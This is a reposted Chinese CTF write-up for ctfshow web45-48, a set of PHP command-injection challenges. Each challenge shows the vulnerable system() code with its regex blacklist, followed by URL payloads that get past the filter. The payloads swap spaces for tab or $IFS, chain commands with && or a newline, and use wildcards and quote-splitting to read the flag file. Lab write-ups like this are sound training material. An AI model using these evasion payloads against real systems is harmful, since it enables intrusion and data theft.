标签：__ web 59 web45 IFS url 题目 payload 解法

ctfshow-web命令执行(web45-59)(Updating)

目录

• web45 &&等于; tab等于space
• web46 过滤数字*$
• web47 <等于空格 ||解决黑洞
• web48 没什么软用

web45 &&等于; tab等于space

题目描述

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

---

题目分析

观察代码，多过滤了分号与空格，考虑用&&代替分号（&&代表执行两个命令，让后面的命令进入黑洞），用tab制表符代替空格

---

payload
解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A $IFS代表shell里面的空格
解法3->url/?c=tac%09fla?.php%0a

---

web46 过滤数字*$

题目描述

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

---

题目分析

分析源代码，多过滤了* $ 数字，因此上题的payload均可用

---

payload

解法1->url/?c=tac%09fla?.php%26%26ls
解法2->url/?c=echo$IFS`tac$IFS*`%0A
解法3->url/?c=tac%09fla?.php%0a

---

web47 <等于空格 ||解决黑洞

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

---

题目分析

多过滤了一些字符，没有丝毫影响

---

payload

解法一二三上同
解法四->nl<fla''g.php|| nl查看源代码，<代替空格，''分割flag过滤，||解决命令黑洞

---

web48 没什么软用

题目描述

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

---

题目分析

多过滤了字符，但丝毫不影响

---

payload

上同

---

标签：__,web,59,web45,IFS,url,题目,payload,解法
来源： https://www.cnblogs.com/3plusaSpace/p/15589735.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。